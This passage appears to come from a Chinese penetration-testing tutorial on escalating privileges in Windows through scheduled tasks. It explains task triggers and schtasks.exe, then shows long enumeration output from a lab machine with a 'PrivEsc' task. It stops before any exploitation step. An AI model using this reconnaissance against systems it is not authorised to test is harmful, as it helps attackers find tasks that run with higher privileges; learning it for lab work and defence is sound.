任务通常使用创建它们的用户的权限运行，但管理员可以配置以其他用户（包括系统）身份运行，那我们就可以利用这点进行提权
什么是Scheduled Tasks
Scheduled Tasks是任务计划程序，Scheduled Tasks可以在计算机上自动执行你创建的任务。
原理：
Task Scheduler通过监视你选择的条件（称为触发器），然后在满足这些条件时执行任务（例如 每 5 分钟）或由某个事件触发（例如用户登录）运行任务。。
我们可以使用Task Scheduler定时启动应用程序、发送电子邮件或显示消息框等。
触发器：
- 当发生特定的系统事件时
- 在特定时间
- 在每日时间表的特定时间
- 在每周的特定时间
- 在每月的特定时间
- 在每月的星期几的特定时间
- 当计算机进入空闲状态时
- 注册任务时
- 系统启动时
- 用户登录时
- 终端服务器会话更改状态时
Schtasks.exe
Schtasks.exe能够在本地或远程计算机上创建，删除，查询，更改，运行和结束计划任务。不带参数运行Schtasks.exe会显示每个已注册任务的状态和下一次运行时间。
基本命令
列出用户可以看到的所有计划任务：
schtasks /query /fo LIST /v运行结果
C:\Users\user\Desktop> schtasks /query /fo LIST /v
schtasks /query /fo LIST /v
Folder: \
HostName: WIN-QBA94KB3IOF
TaskName: \SaveCred
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive only
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: WIN-QBA94KB3IOF\Administrator
Task To Run: "C:\PrivEsc\savecred.bat"
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: user
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows
INFO: There are no scheduled tasks presently available at your access level.
Folder: \Microsoft\Windows\.NET Framework
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:31 PM
Last Result: -2147020576
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:24 PM
Last Result: -2147020576
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 64 Critical
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 6/4/2020 6:28:17 PM
Last Result: 0
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At idle time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 Critical
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 6/4/2020 6:28:17 PM
Last Result: 0
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 02:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At idle time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Active Directory Rights Management Services Client
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated)
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Updates the AD RMS rights policy templates for the user. This job does not provide a credential prompt if authentication to the template distribution web service on the server fails. In this case, it fails silently.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: Everyone
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Daily
Start Time: 3:00:00 AM
Start Date: 11/9/2006
End Date: N/A
Days: Every 1 day(s)
Months: N/A
Repeat: Every: Disabled
Repeat: Until: Time: Disabled
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Automated)
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Updates the AD RMS rights policy templates for the user. This job does not provide a credential prompt if authentication to the template distribution web service on the server fails. In this case, it fails silently.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: Everyone
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Manual)
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Updates the AD RMS rights policy templates for the user. This job provides a credential prompt if authentication to the template distribution web service on the server fails.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: Everyone
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 01:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\AppID
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\AppID\PolicyConverter
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %windir%\system32\appidpolicyconverter.exe
Start In: N/A
Comment: Converts the software restriction policies policy from XML into binary format.
Scheduled Task State: Disabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\AppID\VerifiedPublisherCertStoreCheck
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %windir%\system32\appidcertstorecheck.exe
Start In: N/A
Comment: Inspects the AppID certificate cache for invalid or revoked certificates.
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for 3 minutes, If Not Idle Retry For 1380 minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: LOCAL SERVICE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Application Experience
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser
Next Run Time: 4/3/2023 3:05:13 AM
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 267009
Author: Microsoft Corporation
Task To Run: %windir%\system32\compattelrunner.exe
Start In: N/A
Comment: Collects program telemetry information if opted-in to the Microsoft Customer Experience Improvement Program.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 96:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Hourly
Start Time: 3:00:00 AM
Start Date: 9/1/2008
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 24 Hour(s), 0 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser
Next Run Time: 4/3/2023 3:26:23 AM
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 267009
Author: Microsoft Corporation
Task To Run: %windir%\system32\compattelrunner.exe
Start In: N/A
Comment: Collects program telemetry information if opted-in to the Microsoft Customer Experience Improvement Program.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 96:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser
Next Run Time: 4/3/2023 3:35:32 AM
Status: Running
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:21:50 AM
Last Result: 267009
Author: Microsoft Corporation
Task To Run: %windir%\system32\compattelrunner.exe
Start In: N/A
Comment: Collects program telemetry information if opted-in to the Microsoft Customer Experience Improvement Program.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 96:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Application Experience\ProgramDataUpdater
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:21 PM
Last Result: 259
Author: $(@%SystemRoot%\system32\invagent.dll,-701)
Task To Run: %windir%\system32\compattelrunner.exe -maintenance
Start In: N/A
Comment: $(@%SystemRoot%\system32\invagent.dll,-702)
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Application Experience\StartupAppTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:21 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\rundll32.exe Startupscan.dll,SusRunTask
Start In: N/A
Comment: Scans startup entries and raises notification to the user if there are too many startup entries.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\ApplicationData
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\ApplicationData\appuriverifierdaily
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 6/13/2020 1:57:56 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\AppHostRegistrationVerifier.exe
Start In: N/A
Comment: Verifies AppUriHandler host registrations.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:15:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\ApplicationData\appuriverifierinstall
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft Corporation
Task To Run: %windir%\system32\AppHostRegistrationVerifier.exe
Start In: N/A
Comment: Verifies AppUriHandler host registrations.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:15:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\ApplicationData\CleanupTemporaryState
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\rundll32.exe Windows.Storage.ApplicationData.dll,CleanupTemporaryState
Start In: N/A
Comment: Cleans up each package's unused temporary files.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\ApplicationData\DsSvcCleanup
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:20 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\dstokenclean.exe
Start In: N/A
Comment: Performs maintenance for the Data Sharing Service.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\AppxDeploymentClient
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\AppxDeploymentClient\Pre-staged app cleanup
Next Run Time: N/A
Status: Disabled
Logon Mode: Interactive/Background
Last Run Time: 6/13/2020 2:08:05 PM
Last Result: 0
Author: N/A
Task To Run: %windir%\system32\rundll32.exe %windir%\system32\AppxDeploymentClient.dll,AppxPreStageCleanupRunTask
Start In: N/A
Comment: N/A
Scheduled Task State: Disabled
Idle Time: Only Start If Idle for 15 minutes, If Not Idle Retry For 15 minutes
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Autochk
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Autochk\Proxy
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:43:19 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: %windir%\system32\rundll32.exe /d acproxy.dll,PerformAutochkOperations
Start In: N/A
Comment: This task collects and uploads autochk SQM data if opted-in to the Microsoft Customer Experience Improvement Program.
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for 10 minutes, If Not Idle Retry For 525600 minutes
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\BitLocker
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\BitLocker\BitLocker Encrypt All Drives
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\BitLocker\BitLocker MDM policy Refresh
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: COM handler
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Bluetooth
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Bluetooth\UninstallDeviceTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: Microsoft
Task To Run: BthUdTask.exe $(Arg0)
Start In: N/A
Comment: Uninstalls the PnP device associated with the specified Bluetooth service ID
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\BrokerInfrastructure
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\BrokerInfrastructure\BgTaskRegistrationMaintenanceTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:19 PM
Last Result: 268435456
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Maintains registrations for background tasks for Universal Windows Platform applications.
Scheduled Task State: Enabled
Idle Time: Only Start If Idle for 0 minutes, If Not Idle Retry For 0 minutes Stop the task if Idle State end
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 00:05:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\CertificateServicesClient
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\CertificateServicesClient\UserTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Certificate Services Client automatically manages digital identities such as Certificates, Keys and Credentials for the users and the machine, enabling enrollment, roaming and other services.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: Undefined
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\CertificateServicesClient\UserTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Certificate Services Client automatically manages digital identities such as Certificates, Keys and Credentials for the users and the machine, enabling enrollment, roaming and other services.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At system start up
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\CertificateServicesClient\UserTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Certificate Services Client automatically manages digital identities such as Certificates, Keys and Credentials for the users and the machine, enabling enrollment, roaming and other services.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: At logon time
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\CertificateServicesClient\UserTask
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 4/2/2023 3:22:24 AM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Certificate Services Client automatically manages digital identities such as Certificates, Keys and Credentials for the users and the machine, enabling enrollment, roaming and other services.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\CertificateServicesClient\UserTask-Roam
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:16:56 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Certificate Services Client automatically manages digital identities such as Certificates, Keys and Credentials for the users and the machine, enabling enrollment, roaming and other services.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\CertificateServicesClient\UserTask-Roam
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:16:56 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: Certificate Services Client automatically manages digital identities such as Certificates, Keys and Credentials for the users and the machine, enabling enrollment, roaming and other services.
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: INTERACTIVE
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: Disabled
Schedule: Scheduling data is not available in this format.
Schedule Type: When an event occurs
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
Folder: \Microsoft\Windows\Chkdsk
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Chkdsk\ProactiveScan
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 8/19/2020 1:13:22 PM
Last Result: 0
Author: Microsoft Corporation
Task To Run: COM handler
Start In: N/A
Comment: NTFS Volume Health Scan
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: On demand only
Start Time: N/A
Start Date: N/A
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: N/A
Repeat: Until: Time: N/A
Repeat: Until: Duration: N/A
Repeat: Stop If Still Running: N/A
HostName: WIN-QBA94KB3IOF
TaskName: \Microsoft\Windows\Chkdsk\SyspartRepair
Next Run Time: N/A
Status: Ready
Logon Mode: Interactive/Background
Last Run Time: 11/30/1999 12:00:00 AM
Last Result: 267011
Author: N/A
Task To Run: %windir%\system32\bcdboot.exe %windir% /sysrepair
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management:
Run As User: SYSTEM
Delete Task If Not Rescheduled: Disabled
